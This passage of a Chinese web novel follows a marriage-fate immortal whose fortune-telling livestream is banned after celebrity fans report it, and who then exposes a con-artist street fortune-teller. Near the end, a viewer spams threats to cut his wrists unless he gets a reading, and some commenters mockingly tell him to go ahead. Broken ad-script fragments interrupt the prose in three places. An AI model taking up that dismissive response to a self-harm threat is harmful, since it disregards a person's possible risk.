许许多多从一开始待到现在的观众们的“哈哈哈”中,崔梦语沉默下来,似乎思考着什么。 片刻后,她开了口,语气诚恳。 “谢谢你的这一卦,真的很感谢。” 莺芝有些疲惫地摆了摆手:“……不必。” 崔梦语似乎也察觉到了她的态度不大一样,想了想,又道:“呃……虽然说了是免费,但是确实帮了我很大的忙,我也想做点什么回报。给你的账号主页打赏,可以吗?” 莺芝又摆了摆手,维持着已经僵硬的笑容,叹息道:“如果真的想做点什么……那就等有空时,去月老庙姻缘庙红线娘娘庙等任意之一,奉一些香火吧。” 虽然她不想祈愿,不想要姻缘了,但上几注香,添点香火……聊胜于无吧。 崔梦语点头:“好的,我会的。” 话到此处,关于她的这一卦也算是正式告了一个段落,没有再多说什么,她就此下了麦。 直播间里,调整好情绪的莺芝,正准备再次进入工作状态,瞥见了几条夹在许多弹幕中的消息。 因为是相当有印象的ID,她一眼便看清了消息内容。 【我真没有QAQ:去庙里,也算还愿,很合理,我更加相信主播是相关行业的专业人员了。】 【我真没有QAQ:但是,我有一个问题。】 【我真没有QAQ:没记错的话,正缘在玄学命学这边的意思是,命中注定的缘分,上天赐予的婚姻对象,天定之缘。】 【我真没有QAQ:但是,任柏承都这样了,他的老婆,跟他还是“正缘”?这件事爆出来,他们不会离婚吗?】 看到这一段,莺芝正了正神色,把弹幕内容念出,而后做出了回应。 “不会。” 刚刚那个男人的姻缘线状况还在脑中,这问题基本不需要回忆便能应答,她声音如常,专业有素:“他和他的妻,会走到白头。” 他的姻缘线是这么显示的。 此言一出,就如同在冰水中投入了一颗火热的炸弹,原本随着崔梦语下麦、已经消停了许多的弹幕区,顿时又一次沸腾了。 【履行摸鱼职责:啊???啥??】 【骂谁二次元呢:哈?纳尼??我听到了什么?是我听错了吗?】 【晚间生物:……啊,真的假的。】 【你到底说不说:我刚去看了一眼,他出轨的事在网上已经闹开了,他老婆也肯定能知道,但是,但是但是但是,这都不离婚??】 【我真没有QAQ:我信。虽然有点不科学,但既然是玄学的结果,就有一定的道理。】 【一只浪迹瓜田的猹:快看x博,任柏承工作室那边站出来给正式的回应了!!】 【一只浪迹瓜田的猹:[链接]】 8. 第 8 章 莺芝对现下凡间的“网络”并不如何熟悉,仅有的一知半解还是来源于下午时文隽寥寥的介绍,所以根本不知道那位观众发来的一长串奇怪字符是什么意思。 不过就现在的情况而言,也不用她去了解,直播间观众们紧随而来的讨论,就足够让她把事情拼凑出一个大概。 【看完回来了,我只想说,原来世界上真的有脸皮这么厚的人啊】 【妈妈呀任柏承他们团队还真敢说啊,他自己电话都打过来了竟然还“侵害名誉权”,果然娱乐圈这些人都是睁着眼说瞎话的行家】 【律师函警告了哈哈哈,要不是我对法律行业有所涉猎都也要被唬住了,下次麻烦直接发立案通告好吗】 【“虚构事实,造谣艺人”,我就没想明白,虚构什么了,难道是别人按着他脑袋让他说那些话的吗我请问呢】 【警告归警告扯谎归扯谎,他们爱咋咋,但这个直播间,我的新电子榨菜,要是没了我会恨他们一辈子的!!】 【月老小姐姐别怕,这种事波及不到你的,他们要是私下里威胁你,你可以找我,等会儿我私你一个联系方式,放心我是专业的,专门解决类似的事件】 …… 也就是说,即便做过的事被大众所知晓,任天博本人及相关人员,依旧没有任何悔过之心。 他们的应对方式是:发表声明,警告涉及这件事的“主播”和“爆料人”,并宣称这是污蔑。 莺芝心中了悟,但并没有多意外。 她好歹活过许多年,见过许多人和事,这种完全人并不是没见过,只不过是“利己”而已——她对自己被波及被“警告”并没有任何不满。 究其根本,这在她看来,只不过是来自凡人的小打小闹而已,她是仙,本就是超脱于凡尘之外的,不该与凡人有什么计较。 但…… 视线落在“这个直播间”“要是没了”上,莺芝不着痕迹地拧起了眉。 ……直播间没了,是什么意思? 那什么“律师函警告”,还能对她的直播间造成什么影响吗? 不等她问出疑惑,手机屏幕突地发生了变化。 ——完全变成一片黑的画面里,一行字安静停留。 【您的直播间因涉嫌违反直播规则被关闭,请注意规范自身行为】 莺芝:“……” 直播间突然黑掉,蹲守此处的观众反应更是如出一辙。 “???” 满屏的问号中,莺芝沉默着关掉了直播间。 她打开后台闪烁着红点的消息框。 【您的直播间因等,多次被人举报,平台特予以24小时封禁】 【请于直播中规范自身行为,严格遵守直播规则】 【多次违规处罚会增加,请谨慎对待】 “……什么东西啊!!”红线小人抱着莺芝的手指看完这些字,声音都拔高了许多,“我们怎么就违规了,什么人举报我们,凭什么封禁我们啊!” 莺芝表情也险些裂开。 她大概能猜出,这所谓“多人举报”的“多人”都是谁,无外乎是喜爱任天博的人们,以及任天博的那一方工作人员们。 ……可,这些凡人怎么回事? 骂归骂,警告归警告,怎么还带砸人饭碗毁人工作的? 就算是天庭……那互看不顺眼的雷电明光殿和日曜仙殿,天天找上级递投诉信,上边也不会停了他们的工作啊? 毁人工作,天打雷劈啊! 红线小人也明白了过来,骂骂咧咧原地来回踱步了半晌,才用红豆小眼睛看向莺芝:“月仙大人,我们该怎么办啊?” “二十四小时……是十二个时辰吧。”莺芝从荷包中拿出时玉——她还没养成看手机辨认时间的习惯。 “还有很多时间……现在我们相当于是被关了禁闭,应该什么也做不了了。” 红线小人欲哭无泪:“那我们接下来要做什么?” 莺芝捏了捏鼻梁,也有点无奈:“只能等这个禁闭的时间过去了。” 她万万想不到,来到凡间的第一次尝试,竟然是以这种方式结束的。 明明还有仙力,还能进行至少两次的姻缘“卜算”,结果就这么愣生生地被迫停下了。 “但,也还好是现在就发生了这种事……”她梳理着思绪,“问题早一些暴露,就能早一些做好规避的准备,避免以后再次被同样的问题为难。现在,我们刚开始接触直播,就发现了会被封禁,总比之后进行重要直播时被突然中止要好。我们可以从现在就未雨绸缪。” “不愧是您,果然眼光长远!”红线小人眼巴巴,“我们要怎么规避?” 莺芝眨眨眼:“好问题,你问到我了。我不知道。” 红线小人:“……” 莺芝面不改色:“没关系,作为天庭一员,要懂得和其他神仙处好关系。而作为一殿主事,更要懂得遇到自己不懂的事时及时求助——” “您是说,那位送子娘娘殿的仙君?” “是啊。” 莺芝坦荡点头,找出分开时留下的联系方式,操作生疏地拨了电话过去。 大家都是同事,困难时彼此相帮一下,很正常的嘛……都是能活不知道多少年的老东西,谁还没个遇到困难的时候,今天你帮我明天我帮你,互有往来才是常态嘛。 有节奏的快板乐声响过几息,而后中断。 电话那头的男声带着些许的困倦:“……喂?” “文隽兄弟,我有事想问你!”莺芝开门见山,“……你在休息吗?” “啊……、啊?”疑惑声中,黏连的哈欠突然一顿,远了瞬息,似乎是手机被拿离了耳畔,而后,呼吸又一次接近,文隽声音清晰了许多,“……是莺芝仙子啊。叫我文隽就行了……有什么事要问?” 莺芝看了一眼时玉,有些疑惑:“这才戌时,你就已经睡了吗?” 本质上来说,神仙是不需要睡觉的,可以运转灵力仙力调息回复精力。 但对于绝大多数神仙来说——我都成神仙了,还不能享受一下生活? 所以在天庭,大家基本都是该吃吃该喝喝该睡睡。 可,那也大都是亥时过后才睡觉的啊。 文隽的声音幽幽传来:“我特地请假到凡间来,就是来休息的……这是你要问的问题吗,仙子?” 似有若无的幽怨中,莺芝摸了摸鼻子,觉得有点对不住对方——明明是来休假的,但几乎被她缠了一整天。 “打扰你休息非常抱歉,帮人帮到底送佛送到西,你是个好人……实在麻烦你了。” 她决定等改日回天庭再做补偿,现在嘛,先略过这茬,直接入正题: “是这样的,我直播间被封禁了,这要怎么解决?是一旦被举报便会被封禁吗,有没有什么规避的方法?” 文隽一顿:“……你做了什么?” “我什么也没做。”莺芝如实答道,“我给一位观众‘算了一卦’,断掉了一桩孽缘。” “‘算卦’……仙子还真是入乡随俗啊。我想想,封禁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的话,你是不是宣扬让大家都去庙中参拜了?或者,传播姻缘殿的‘信仰’了?” 在直播中常见的被警告封禁的理由,什么衣着不端语言低俗攻击他人等,文隽完全没有往那边想过。 同为神仙,他和莺芝算是有一定的,心照不宣的默契的,那是属于神仙“约定俗成”的规矩。 他能想到的,也就是这位看起来是工作狂的仙子,是不是把热情发挥得太过了—— 宣扬宗教信仰,也是很容易触及到直播红线的一条。 莺芝:“没有啊。” 她也没怎么宣传吧? 整理了一下思路,她道:“不过,我有看到他们说什么‘律师函警告’。” 文隽:“?” “怎么会扯到律师函……不是刚开始直播吗。” 他们两个人分开到现在也没有两三个小时吧? 难道他一觉睡过去了好几天? 面对震惊之意都快飞出来了的同僚,莺芝有那么一点点的尴尬,但也就一点点:“是的,确实是刚开始直播。” 这不就是纯属被迁怒了么,她本身就什么也没做啊。 他们要想帮任天博,要做的事明显还有很多吧? 不都比为难她这一下要重要么。 “……算了。”意识到这么问是问不出什么的,文隽叹了口气,认命离开被窝,“我们见一面吧。地址我发……就你那里的楼下,我等会儿到。” 莺芝没有意见:“好的。” 电话挂断,她站起身,四下看了看,发现也没什么好收拾的,便只拿起手机,离开了房间。 现在的临时落脚处,她并不清楚在这个城市具体算是什么位置——也是托了文隽这位对凡间很熟悉了的同僚帮忙才临时租下的,不过在筛选时应了她的要求,这个居民区距离白天去过的那家庙并不算远。 单元的门洞外,是一条不怎么平坦的小路。沿小路一直走,很快就能看到小区大门。 不管是道路还是基本形同虚设的大门,都昭示着小区的年代已经很久远,但相应的,周围的环境也很是热闹。 附近的路都不算宽,也没什么汽车经过,来往的多是骑电车或步行的人,道路两侧,形形色色的小摊紧密排布,有的烟火熏天,有的酒意弥散,还有些摊位上,老板就地支了个桌子,上边摆放着五颜六色小饰品、或各式各样新旧书籍。 混杂着各种气味的空气对于一个待惯了仙宫金阙、浸久了仙云灵雾的神仙来说,并不算特别好闻,地面也显得过于不洁,已经化作耳饰的红线小人不舒服地晃了晃自己的身体,换来莺芝一声笑。 “你又没有鼻子,嫌弃什么?” 她倒是并没有太在意周围的环境,还颇觉新奇地感受着此时此地,和白天庙宇中完全不同的“烟火气”。 依照约定,莺芝在路边寻了地方落脚,等待着文隽的到来。 “嘿,姑娘!” 一声压着嗓子的呼唤,成功把莺芝的注意力吸引。 她循声回头,在身后几步靠墙的位置处,看见了一个穿着灰色马褂,坐在低矮马扎上的中年男人。 那男人头发稀疏,鼻梁上架着副圆片墨镜,身前的地面上摊开铺着一张塑料布,上头画着乾坤八卦等内容,还写着些堆砌起来的古体汉字。 看到莺芝回头,中年男人朝莺芝一伸手,指了指摊位前另一张空着的小马扎,做了个邀请的动作,一派高人模样。 “我看你印堂发黑,怕是要有血光之灾啊——要不要来算上一卦?” 9. 第 9 章 “印堂发黑?” 莺芝一愣,下意识就要调动起仙力,查探自身的情况。 不过下一秒她就反应了过来,生生止住了动作。 不能在凡人面前动用仙力,这是下凡后最基础的规矩。 但是印堂发黑……她怎么会印堂发黑。 莺芝狐疑地打量了男人两眼,视线不受控制地落在对方有点稀疏的发顶,又因不礼貌而生硬转开。 中年男人笑道:“姑娘在等男朋友吗?那闲着没事,不如就坐下来聊聊?” “是在等人不假……” 莺芝点点头,拢了一下裙摆,从善如流在马扎上坐了下来,“你会观……、算卦?” 她想听听看,凡间这些“卦象师”是怎么个路数。 “那当然啊!”眼瞧着她真的坐下,中年男人腰板似乎坐直了一些。 他不知道从哪摸出一柄折扇,捏着合拢的扇骨煞有介事地晃了晃。 “不瞒你说,我师父是行业内很有名的老道长,精通算卦。我嘛,虽然没有学到他的全部,也有了十之八九,给你算上一卦,解解忧——那还是很容易的。”最后一个字他拖得有点长,音也变调成了“滴”,听起来倒真像是小菜一碟成竹在胸信手拈来的味道。 莺芝微微颔首,对此很感兴趣地咨询道:“都会哪些类型的?手相,测字,面相,抽签……还是其他的什么?” “看来你也是相当了解天机术数的。” 中年男人笑了笑,指着他身前地面上的那张布,一一点在那些在莺芝看来完全不知所云的字和图画,“喏,那得看你想算什么了。财运,事业,感情,身体……不同的卦当然适合不同的算法——你想算什么?” ……这就了解了? 耳垂上的红绳耳饰无风自动,莺芝低头,有些疑惑地仔仔细细看过那些字和图案。 “不是你说我印堂发黑,要有血光之灾,所以要给我算一卦的吗?怎么又问我算什么。” “……” 中年男人扶了扶眼镜,似乎从滑落的缝隙里打量了几下莺芝。 随后,他飞快地左右看了看,压低声音:“做我们这行呢,其实就是窥探天机,是要折寿的,所以有些话不能说得太明白……得你自己说。” 耳饰又开始晃动,被莺芝不动声色地捏了一把,总算才安静下来。 若真是精通推算,那确实是窥探天机不假。但所谓的“算卦”,后果完全不是什么所谓的“折寿”就能笼统概括的——身为凡人,窥探探他人命运,是要背负因果的。 而这个因果,或许是死生大灾,又或许只是出门会摔一跤,是根据所窥探的命运而定。 心下了悟这人看来是真的是在糊弄她,但不知道是单纯地看她不像是懂行的,还是因为本身他就啥也不会,莺芝没有当即拆台,只是顺着对方的话说了下去: “——原来是这样啊。” “就是这样。”中年男人啪地打开折扇,笑着摇了起来,“所以,想知道你的血光之灾是怎么回事,要算什么呢?” “嗯……”莺芝沉吟了片刻,“……算姻缘吧。” “对,血光之灾,确实是要算——……?” 话音一顿,中年男人像是被突然掐了一把嗓的公鸡,下文生生止住。他又坐直了一些,从眼镜缝里瞥了一眼这个穿着打扮跟周围格格不入的女生。 生面孔,讲究人—— “能算吗?”莺芝笑容和煦。 再三确认后,男人老神在在点头,拇指跟食指并在一起捻了捻:“能啊。不过先说好,算姻缘的话,咱们这个卦钱可是要多点的。” 莺芝点点头。 姻缘卦比别的要贵……虽然不知道合不合理,但她这位姻缘仙听了这个确实很高兴就是了。 见她没什么意见,男人不知道又扇了两下扇子,合上:“那,伸手吧。” “姻缘原来要看手相啊。” 莺芝依言伸出手臂,把广袖拢起来,露出完整的手,掌心向上递了出去。 “没错。” 中年男人赞许地点头,接着探头过来,隔空在她手上端详了一会儿。 他用合起折扇敲敲点点着自己手心,时而皱眉沉思,时而若有所感,最终,他冲莺芝一点头,坐正了身体。 “这卦你算是算对了——结婚了吗?” 莺芝眨眼:“你算不出来吗?” “——哈哈,怎么会算不出来呢,当然看得出了,这都在你手相里呢。” 男人笑了两声,又打开了折扇,“从手相上看呢,你应该还没有结婚,但是已经有了心仪的对象,并且两人关系目前还不错,正在交往中。” “嗯、你在等的,应该就是他,对不对?但是,哎……真不巧啊,姑娘。” 莺芝思考了片刻,回忆起从刚刚到现在两人所有的交流,心中划过一丝了然。 她没有否认或认同,只是讶异道:“怎么不巧?” 中年男人又左右飞快看了看,像在警惕有没有人在偷听他们的对话,然后,他声音变得严肃,低低地开口:“你的血光之灾……就来源于这个对象!” “啊,这样?”莺芝震惊地眨了眨眼。 “我知道你很不可置信,但是姑娘,节哀啊,卦象就是这么说的——” 折扇快速地摆动着,中年男人闭着眼,声音低沉:“他……嘶,从手相上看,你的姻缘很是曲折啊。他,不是什么好人,等之后你们结了婚,夫妻吵起架来,他会摔东西,会打人——姑娘,这种人,不管是谈恋爱还是结婚,都要三思啊!” 语到最后,已经变得沉重,仿佛深有同感地在叹息。 闲来无事,莺芝把这男人嘴里的“你等待的人”和她确实在等的人稍微联系了一下,发现完全是南辕北辙。 “不能吧?我觉得他脾气挺好的啊。” 中年男人不赞同:“不管平时表现的怎么样,内里都是个脾气暴躁的。这种人生起气来最可怕了,谨慎点没坏处,可千万别恋爱脑啊!” 话音落下,半晌没有等到回应,男人微微抬眼,觑向对面的女生,却正撞入一双黝黑的眸子。 莺芝安静地看着他。 男人手里折扇一顿,旋即摇得更快了。 “莺——……这是在?” 文隽在凡间的住所离莺芝这地方不算太远,不到十分钟路程—— 他们这些做神仙的,到凡间来,选择落脚处时不自觉地就会靠庙近一点,或许也是一种本能。 刚一踏入这条街,尚且隔着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 数十米远时,文隽就已经看见了莺芝的身影,夜色里,那一袭粉色的衣裙格外醒目。 只是等到他走近一点,却被眼前的景象给搞得一头雾水。 一个算卦的摊位,她坐在这里做什么。 文隽脚步迟疑:“你这是……在算卦?” 听到熟悉的声音,莺芝侧转了脑袋过来,仰头望向文隽,指了指摊位后的中年男人:“嗯,他给我算了一卦。” 一个神仙,找凡人算什么卦…… 默了默,察觉到她似乎想继续说,文隽配合地问了下去。 “……算出什么了?” 先不说他是不是真的会推算,就算真的会,也没有能够看出神仙命格的凡人啊。 莺芝表情沉重:“他说你很暴躁,会会打我。” 文隽:“……” 文隽:“?” 这都什么跟什么? 他满头雾水,看了看中年男人,又用眼神询问莺芝:……仙子,你到底在跟这骗子聊了些什么? “这……”中年男人和文隽短暂对了个眼神,被那双眼睛一看,颇有点不自在。 他这下算是懂为什么这女生说“不能吧”了,这男的,看起来文质彬彬的,完全就是个文文弱弱的大学生,还是学习很好的那种。 而且总感觉没什么精神,自己一拳估计能把他打吐血。 检讨自己是不是编太过,中年男人默默移开视线,重新看向莺芝。 在两位男性瞩目中,莺芝摇了摇头,站了起来。 “虽然你是骗我的,但有些事我觉得还是要告诉你。” “第一,他……” 她偏了偏头,以示意指代的是身边的文隽,“——是我的同事,不是我的正缘,如果你真的会观缘,应该能看到我的缘线非常干净。” 文隽:? 谁跟谁?什么缘? ……难道这骗子刚刚说他俩是一对? 中年男子也满头问号。 缘线,观缘——这什么奇奇怪怪的说法。 难道这女孩是玄学爱好者,这些是他不知道的姻缘方面的专业术语? 合着这次是踢到行家头上了? 莺芝没有理会他们的困惑,她自顾自说着,解下腰间挂着的荷包。 从荷包里拿出一根红色的绳子,莺芝把它放到了中年男人面前的塑料布上。 “第二件事——那位十二年前和你分离的女性,三日后会出现在此地向东五里处的路口。” 意识到她说了什么,中年男人浑身都僵住。 他不可置信地抬眼,直愣愣看向莺芝。 “你至今都还是孤身一人,我想,应该就是难以忘记她吧?如果你不想错过她的话,就抓住机会,或许有几率碰上。错过了这次,下次的擦肩,是十年后。” 对他的惊讶并不在意,莺芝把荷包重新收好系回,随手理了理裙摆,指向那根红绳,温声道,“去的时候可以带上它,能够助你扩大相逢的机遇——嗯…算是抵你给我算卦的卦钱吧。” 说罢,她招呼文隽:“我们走吧。” 直到两人的身影消失,男人才从愕然中回过神来。 他怔怔看向面前摊位上那根孤零零放置着的红绳,手指缓缓收紧。 10. 第 10 章 “我想明白了,月仙大人!那个人他……——有人来了!” 某餐厅,位于角落的卡座中,粉裙女生的手指上勾缠着一根红绳,像在变什么魔术般,红绳的一端扬起,仿佛肢体一般摇晃着。 似乎感应到什么,它突然消声,整个绳也软趴趴地倒了下去。 “——这里的菜还不错,不知道你口味偏好,随便买了一些。”文隽把托盘放到桌上,依次把其上的餐碗取下,然后才入座。 他把餐具递放到莺芝面前,视线掠过那根红线,见怪不怪地随口问道:“想明白什么了?” 看到来人是他,趴在莺芝手指上的红线才慢吞吞又昂起了头。 它先是望了一眼莺芝,见自家上司没有阻拦的意思,才接茬道:“我刚刚一直在想,刚刚那个骗子到底为什么知道月仙大人在等人,又为什么敢夸口编排月仙大人的‘男友’,就不怕万一说错了露馅吗,终于想明白了!” 莺芝把它丢到手边的桌上,摆弄起餐具和凡间的食物。 没有让话落在地上,文隽捏着筷子拌了一下碗里的面,很给面子地接了一句:“什么?” “——他跟月仙大人搭话的第一句就问了月仙大人是不是在等男朋友,语气很随便,就像平时我们打招呼,月仙大人当时也没在意,所以就没否认,这就让他知道了‘有男友’‘在等人’两个信息!”红线小人才不管是谁接了话,反正都能往下说。 它分享欲极强,话匣子一旦打开,就滔滔不绝了起来:“到了后来,给月仙大人‘看手相’,我猜他是从月仙大人的手部肌肤很细腻,完全不像做家务的——唔…在近几百年的凡间,婚姻中,许多不靠谱的凡间男性不都会把家务全都推给女性么?然后,月仙大人在他那里的印象就成了‘非单身,有男友,还没结婚,在等男友’的状态,也就有了之后的编造!” “我说的对吗?”明明是两颗红豆的眼睛,愣是把“期盼”给表现了出来。 莺芝觑了它一眼,实话实说道:“这么简单的问题,你花了这么多时间去思考。” “……月仙大人!!” 文隽忍俊不禁。 他吃了一口面,咀嚼咽下后,才问起这次碰面的主题:“被封禁是怎么回事?” 说起正事,莺芝也正了神色。 她把筷子放下,调出那条后台提醒,把手机放到文隽的碗旁。 文隽偏头看了一眼:“……多人举报,你的直播到底——你介意把今晚的事从头说一下吗?” “当然不介意。” 莺芝满口应下,从直播间开启到崔梦语发送个人的资料给她,再到最后的被封禁,略过了观众们的讨论,把直播的过程完整地讲述了一遍。 等她讲完,文隽忍不住摇了摇头。 他有点无奈地笑了一声:“那我知道了。这……严格来说,也不算是什么大事,而且,对于你想做的事,它说不定还会变成一件好事。” 该说不愧是神仙,果然是有点气运在身上的,刚开始做直播,结果第一件就撞上了涉及公众人物的事。 虽然短期看,直播间确实是被封了,但长久来说,这对一个刚起步的主播来说,简直可以称得上只有好处没有坏处。 不等莺芝追问,他便向她解释道:“这位女性的‘心上人’,也就是你说的那个任天博,他在当今凡间应该是具有一定知名度的,拥有许多追随者——他们举报你的理由,或许是‘提及公众人物姓名’或‘引战造谣’,前者是拥有众多粉丝的群体经常使用的招数,后者则是界定模糊、故而很容易被笼统盖过,一起处理。” “那为什么还是好事?”莺芝有些疑惑,“容易被处理,那日后我每次直播,他们都来举报的话,不是很容易被封禁吗?” 文隽喝了一口茶饮,拿出自己的手机拨弄了两下:“对于任天博来说,喜爱他的人多,讨厌他的人就也不会少。无论是哪个方面,他在当今都是拥有巨大的关注度的,现在他和粉丝发展关系,婚姻内出轨,种种事件一经爆出,都会引起很大的反响——” 他把手机放到桌面,调转了个,推给莺芝: “这是凡间许多人都在用的一个软件,你看,现在任天博的相关内容已经占据了搜索榜的前几,后边还挂着‘爆’的标志,证明这件事引起的轰动还在蔓延中。人们在关注到这件事时,听到只言片语后,无可避免地会想要知道全情。” 在莺芝若有所思的表情中,文隽弯了弯眼睛:“看来你也想到了。” “当人们关注起这件事,想要知道事情的全貌,就会看到……我直播的内容?”莺芝缓缓接道,“也就是那些名字中带有任天博和诅咒侮辱意味的人所说的……被‘发网上了’?” “是的。”文隽颔首,“讨厌任天博的人,会把你的直播内容进行二次加工,公开发布,通过他们的渠道,让更多的人关注到这件事。而他们所关注的,这件事的源头,无论是那位崔小姐的表态,还是那通电话,都是来自于你的直播间。” 莺芝恍然,语气也越来越笃定:“所以,这些‘关注度’,也能‘反哺’到我这里一部分?” 更多的人能够关注到她这位新人主播,因为各种各样的原因,对她的直播生出兴趣,从而转化为下一次直播的,现成的观众。 文隽赞同地点点头,继续说道:“而当你的价值拔高,能给直播平台创造的收益增多,他们对待针对你直播间的举报也会采取特别关注的模式,不会再和大多数无人关注的新人直播间一样,随意地批量化处理。” “至于‘律师函警告’,这个就更不用在意了。既然他真的做过那些事,他本身的底气就不会太足,没有真正闹上法庭——也就是衙门、这里裁决纠纷的部门,的勇气。” 换成其他人,对这件事最大的关注绝对会是“算卦真的能算出任柏承的事吗”“任柏承真的做过吗”,而对文隽来说,这种怀疑从根本上就不会存在。 莺芝说那人做过,那就是做过。 她可是专司姻缘的仙,又是这么个……连认识刚一天的他都能看出的认真性子,这种本职内的事是不可能弄错的。 说到最后,文隽放下了餐具,抽出张纸巾擦了擦嘴。 “所以,等到明天,你再开始直播的时候,可要做好心理准备了——” 他眉角轻微地跳了一下,仿佛对想象出来的画面很是头疼,“……应该会来很多很多很多的人。” 莺芝这下是完全明白了。 她眸中不由地带上了些喜意:“真是太好了。” 这不就是事半功倍! 来看直播的人越多,她就越有可能“推广”姻缘殿的业务,帮助更多的人明定缘分,牵上红线。 这波刚定了一桩缘就被突然断掉的直播,竟然还让她的直播间被更多更多的人看到,真是大运啊。 文隽看着她干劲满满的状态,喉头动了动,想说点什么,终究还是没能说出口。 他默默移开视线,幽幽叹气。 一顿饭吃完,莺芝饥饿问题解决,疑虑也尽数消解,可谓是心情舒畅。 反观文隽,不知道是不是饭吃撑了,显得更没精神了。 结完账离开餐厅,莺芝站定,不大好意思地对落后一步的文隽道:“今天真的是麻烦你了……” 文隽揉了一下坐僵了的肩膀,无奈叹了一声:“都已经到现在了,仙子还说什么麻烦不麻烦的。” 莺芝又咳一声:“放心,你的仗义相助我都记得。等明天直播,我会帮你在直播间宣传一……” “——不不不,不必,万万不要。” 文隽连忙摆手,竟是突然精神了几分,“直播间想要火,要义之一便是专一,在某个主题深入扎根,这样才会被平台推 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 送,如果你在姻缘相关又推了其他的,对你的直播间不利。” “这样么?”莺芝若有所思,“仔细想想,也有道理,凡事贵精不贵多……” 文隽似乎松了口气:“是的,就是这样。” 他补充道:“而且我很快便回天庭了,在这里逗留不了多久,仙子不用为我分神。” 莺芝:“可你帮了我这么多,我若不做些什么,也说不过去呀。” “……那这样,你把给那个算卦的红绳给我一根,便作抵了吧。” 红绳? 这倒好说,她下来时带了很多。 莺芝想了想,从荷包里取出一根递过去:“需要我帮你查看一下是否正缘,或帮你系给心仪的仙子吗?” 红绳的效用,正如她跟那个算卦的中年男人所说——带在身上,能增强“缘”。 但说到底,它只是一个媒介,效用也就这么点。 若想真正让它成为“月老”的姻缘红线,还得让姻缘仙来使用才行。 故而在赠出红绳给这位帮助自己良多的同僚时,莺芝很贴心地提了建议。 文隽把红绳塞入衣兜,又是连连摆手:“不必不必,我尚且没有心仪之人,仙子快回去吧,夜深了。” “好吧。” 莺芝有点小小的遗憾。 给神仙定缘,一桩顶凡间好多呢。 不过既然对方说不要,那也不好强求。 两人就此在店门口分道扬镳,各自回了各自的落脚处。 洗漱收拾,莺芝像个寻常凡人般,带着红线小人一起进入了休眠。 一夜无眠。 第二天,莺芝早早起了床。 更换了从荷包中储物空间取出的新衣裙,她带上红线小人下楼,吃过早餐,又去了庙中。 在月老像附近休憩调整了半天,将自身状态恢复到最佳,莺芝回到了落脚处。 提前买了餐食,卡好时间用完饭,倒计时不到一刻钟时,她已经一切完备地坐到了沙发上。 今天是她的第二次直播,也是马上解封的时刻。 希望就在前方——! 主播:【AA红线小莺】开启了直播。 直播间:【职业月老,在线定缘】 详情:【千里姻缘一线牵,没准落到你身边——免费定缘,缘定三生~走过路过不要错过了诶!】 【一只浪迹瓜田的猹:来了来了来了,我来了!!】 【骂谁二次元呢:终于等到你还好我没放弃~~小莺姐姐-3-】 【你到底说不说:可算给我等到了,昨天直播间突然没了吓我一跳,还以为主播不敢再开了!】 【[晚间生物]送出应援棒x99】 【[晚间生物]送出糖果礼盒x52】 …… 【[晚间生物]送出珠光宝玉x5】 【[晚间生物]送出盛世焰火x2】 【晚间生物:不管了,先把粉丝榜前三的位置坐定了再说】 【什么情况,一进来就有大哥刷榜?】 【看切片我就觉得主播长得不一般,亲眼一看果然不一般,美到我心里了!】 【我只想知道,任柏承那事到底真的假的,谁能说说啊啊啊】 【造谣司马,主播你良心不会疼吗?!】 【公屏的癫人举报了,不谢( ̄_, ̄)】 【任柏承怎么样与我无瓜,我就是想来看算卦的】 …… 刚一开播,直播间里跳出的提示和消息就快要把屏幕卡住,和昨天的冷清是完全不同的光景。 莺芝心中欣喜,脸上带着营业的微笑:“大家好,欢迎来到直播间……” 【臻爱至上:主播,我想算姻缘,可以吗?】 【臻爱至上:主播,你要是不给我算,我就要割腕了。】 11. 第 11 章 直播间刚开启,在线人数四位数,那两行消息没有特别送礼物后的加亮加粗醒目特效,一经发出,很快就淹没在了山海般快速刷过的一条条弹幕中。 照理来说,这种迅速被盖过去的内容,不会被多少人注意到。 但架不住那人一遍又一遍地重复发送,普普通通的消息框,愣是刷出了有特效加持的效果。 【……啥玩意?】 【不给算就割腕?这人在搞抽象还是真抽象啊。】 【我也在等今天的卦,但是不带这么抢名额的吧,耍赖就能行那我也耍】 【小丑一个,威胁谁呢,你去割吧,主播不给你算就成害你的元凶了?】 …… 很明显,这等不仅影响大家讨论昨天的瓜,还严重妨碍了直播间氛围的行径引起了多数观众的不满。 一阵接一阵的声讨越发热烈,那人却好像没看到似的,仍旧自顾自地刷着那两条重复的消息。 【臻爱至上:主播,我想算姻缘,可以吗?】 【臻爱至上:主播,你要是不给我算,我就要割腕了。】 【臻爱至上:主播,我想算姻缘,可以吗?】 【臻爱至上:主播,你要是不给我算,我就要割腕了。】 …… 莺芝视线落在这些内容上,表情没有过多的变化。 微笑之下,她暗暗琢磨,是不是该把昨天晚上文隽提到过一句的“房管”相关给提上日程了。 还有这个“算卦”的报名,也要有一个正式的成文的流程才好。 “这位,臻爱至上——可以算,你是选择把信息单独发给我,还是也要连线?” 【这也行?!】 【早知道直接说就行,那我也直接说了啊啊啊】 【错过了第一,遗憾】 【我还是想听任柏承的事,他那边后续现在还没落定呢,主播不再聊聊了吗?】 【好耶,算卦!刚好我外卖到了,下饭走起~】 【有奖竞猜,这臻爱至上男的女的,我压一个应援棒,女!】 【想给主播送应援棒直说啊,拐弯抹角的——嘿嘿,我也凑个热闹,我压男】 …… 在莺芝回应“可以”后,那一直在反复出现的消息总算消停了下来。 臻爱至上没有立刻回话,似乎在犹豫,随后,他发了一条弹幕。 【臻爱至上:谢谢主播,……连线吧。】 莺芝颔首,给对方账号开启了权限,等对方的加入直播申请发过来后,予以了同意。 莺芝所在的直播画面像之前那样被缩小到了屏幕的一半,另外一半,则出现了新的面孔。 镜头离脸很近,但仍然能够看出他动作间露出的衣服,以及周围的零星场景。 那是一个男性。 一个似乎正蹲在地上的、穿黄色马甲,头发蓬乱,双眼青黑,带着些浓重倦色的男性。 【我去,外卖小哥啊!】 【咋这一副衰样啊,没睡够还是被投诉了?】 【人与人之间还是需要一些距离的,兄弟你的鼻孔攻击到我了,把手机拿远点行吗】 【他好不讲卫生,鼻毛都出来了,胡子也不知道剃一剃,已经闻到臭味了】 